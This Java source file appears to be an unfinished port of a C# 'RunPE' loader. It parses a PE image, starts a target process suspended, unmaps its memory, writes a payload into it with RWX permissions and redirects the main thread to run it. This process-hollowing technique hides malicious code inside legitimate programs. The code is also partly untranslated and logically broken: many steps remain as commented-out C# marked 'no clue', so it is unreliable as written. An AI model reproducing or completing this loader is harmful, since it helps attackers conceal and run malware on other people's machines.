Kine

package kine;

import kine.Kernel32.CONTEXT;
import kine.Kernel32.MEMORY_BASIC_INFORMATION;
import kine.Kernel32.MZHeader;
import kine.Kernel32.PE_ExtHeader;
import kine.Kernel32.PE_Header;
import kine.Kernel32.PROCESS_INFORMATION;
import kine.Kernel32.PROCINFO;
import kine.Kernel32.STARTUPINFO;
import kine.Kernel32.SectionHeader;

import com.sun.jna.Native;
import com.sun.jna.ptr.IntByReference;

public final class Kine {

    // Is this the same as?:
    // IntPtr.Zero
    private static final IntByReference ZERO = new IntByReference(0);

    public static int ReadPeInfo(byte[] data, MZHeader mzH, PE_Header peH,
            PE_ExtHeader peXH, SectionHeader[] secHdrs) {
        // I am assuming this is the same as:
        // byte* dPtr = data
        byte[] dPtr = data;
        // ^^/> Also, not sure if "fixed" is important or something

        int imgSize = -1;

        mzH = new MZHeader();
        peH = new PE_Header();
        peXH = new PE_ExtHeader();
        secHdrs = null;

        // is this the equivalent of?:
        // if (data.Length < sizeof(MZHeader))
        if (data.length < mzH.size()) {
            return imgSize;
        }

        // no clue how to do this:
        // mzH = *(MZHeader*) dPtr;

        // is this the equivalent of?:
        // if (mzH.signature != 0x5a4d || data.Length < mzH.offsetToPE + sizeof(PE_Header))
        if (mzH.signature != 0x5a4d || data.length < (mzH.offsetToPE + peH.size())) {
            return imgSize;
        }

        // no clue how to do this:
        // peH = *(PE_Header*)&dPtr[mzH.offsetToPE];

        // is this the equivalent of?:
        // if (peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
        if (peH.sizeOfOptionHeader != peXH.size()) {
            return imgSize;
        }

        // no clue how to do this:
        // peXH = *(PE_ExtHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header)];

        secHdrs = new SectionHeader[peH.numSections];

        imgSize = getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment);

        for (int i = 0; i < secHdrs.length; i++) {
            // no clue how to do this:
            // secHdrs[i] = *(SectionHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header) + sizeof(PE_ExtHeader) + (i * sizeof(SectionHeader))];

            if (secHdrs[i].virtualSize != 0) {
                imgSize += getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
            }
        }

        return imgSize;
    }

    public static void LoadPe(byte[] peBytes, MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntByReference memPtr) {
        // no clue how to do this:
        // byte* ptr = (byte*)(void*)memPtr;

        int hdrSize = peXH.sizeOfHeaders;

        for (int i = 0; i < secHdrs.length; i++) {
            if (secHdrs[i].pointerToRawData < hdrSize) {
                hdrSize = secHdrs[i].pointerToRawData;
            }
        }

        // don't know what this is, something like System.arraycopy?:
        // Marshal.Copy(peBytes, 0, memPtr, (int)hdrSize);

        // no clue how to do this:
        // ptr += (int)getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment);

        for (int i = 0, copySize; i < secHdrs.length; i++) {
            if (secHdrs[i].sizeOfRawData > 0) {
                copySize = secHdrs[i].sizeOfRawData > secHdrs[i].virtualSize ? secHdrs[i].virtualSize : secHdrs[i].sizeOfRawData;

                // don't know what this is, again, something like System.arraycopy?:
                // Marshal.Copy(peBytes, (int)secHdrs[i].pointerToRawData, (IntPtr)ptr, copySize);

                // and no clue about this either:
                // ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
            } else if (secHdrs[i].virtualAddress != 0) {
                // and, of course, no clue about this:
                // ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
            }
        }
    }

    public static boolean CreateChild(PROCESS_INFORMATION pInfo, PROCINFO cInfo, CONTEXT ctx, String target, Kernel32 kernel) {
        STARTUPINFO sInfo = new STARTUPINFO();

        // is this the equivalent of?:
        // ctx = new CONTEXT { ContextFlags = 0x10007 };
        ctx = new CONTEXT();
        ctx.ContextFlags = 0x10007;

        cInfo = new PROCINFO();

        if (kernel.CreateProcess(target, null, 0, 0, false, 4, ZERO, null, sInfo, pInfo)) {
            kernel.GetThreadContext(pInfo.hThread, ctx);

            // no clue about this:
            // uint* pebInfo = (uint*)ctx.Ebx;

            int read = 0;

            // no clue about "fixed" or if it is important
            // also no clue about this:
            // fixed (PROCINFO* cInfoPtr = &cInfo) {
            //     ReadProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&cInfoPtr->baseAddr), 4, out read);
            // }

            int curAddr = cInfo.baseAddr;

            MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION();

            while (kernel.VirtualQueryEx(pInfo.hProcess, new IntByReference(curAddr), memInfo, memInfo.size()) != 0) {
                if (memInfo.State == 0x10000)
                    break;
                curAddr += memInfo.RegionSize;
            }

            cInfo.imageSize = curAddr - cInfo.baseAddr;
            return true;
        }

        return false;
    }

    public static boolean DoFork(MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntByReference memPtr, int imgSize, String target, Kernel32 kernel, NtDll ntdll) {
        PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
        CONTEXT ctx = new CONTEXT();
        PROCINFO cInfo = new PROCINFO();

        if (!CreateChild(pInfo, cInfo, ctx, target, kernel)) {
            return false;
        }

        IntByReference v = ZERO;
        if (peXH.imageBase == cInfo.baseAddr && imgSize <= cInfo.imageSize) {
            // is this the same as?:
            // v = (IntPtr)cInfo.baseAddr;
            v = new IntByReference(cInfo.baseAddr);

            int oldP = 0;
            kernel.VirtualProtectEx(pInfo.hProcess, new IntByReference(cInfo.baseAddr), new IntByReference(cInfo.imageSize), 0x40, oldP);
        } else if (ntdll.ZwUnmapViewOfSection(pInfo.hProcess, new IntByReference(cInfo.baseAddr)) == 0) {
            v = kernel.VirtualAllocEx(pInfo.hProcess, new IntByReference(peXH.imageBase), imgSize, 0x3000, 0x40);
        }

        if (v != ZERO) {
            // no clue about this:
            // uint* pebInfo = (uint*)ctx.Ebx;

            int wrote = 0;

            // don't know how to call this:
            // WriteProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&v), 4, out wrote);

            if (!kernel.WriteProcessMemory(pInfo.hProcess, v, memPtr, imgSize, wrote)) {
                return false;
            }

            // I believe this is equivalent to:
            // ctx.Eax = (uint)((uint)v == cInfo.baseAddr ? peXH.imageBase + peXH.addressOfEntryPoint : v.ToInt32() + peXH.addressOfEntryPoint);
            ctx.Eax = v.getValue() == cInfo.baseAddr ? peXH.imageBase + peXH.addressOfEntryPoint : v.getValue() + peXH.addressOfEntryPoint;

            kernel.SetThreadContext(pInfo.hThread, ctx);
            kernel.ResumeThread(pInfo.hThread);

            return true;
        }

        return false;
    }

    public static int getAlignedSize(int curSize, int alignment) {
        return curSize % alignment == 0 ? curSize : ((curSize / alignment) + 1) * alignment;
    }

    public static boolean Run(byte[] data, String target, Kernel32 kernel, NtDll ntdll) {
        if (data == null || target == null) {
            return false;
        }

        MZHeader mzH = new MZHeader();
        PE_Header peH = new PE_Header();
        PE_ExtHeader peXH = new PE_ExtHeader();
        SectionHeader[] secHdrs = null;

        int imgSize = ReadPeInfo(data, mzH, peH, peXH, secHdrs);

        if (imgSize < 0) {
            return false;
        }

        IntByReference memPtr = kernel.VirtualAlloc(ZERO, imgSize, 0x1000, 0x40);

        if (memPtr == ZERO) {
            return false;
        }

        LoadPe(data, mzH, peH, peXH, secHdrs, memPtr);

        return DoFork(mzH, peH, peXH, secHdrs, memPtr, imgSize, target, kernel, ntdll);
    }

}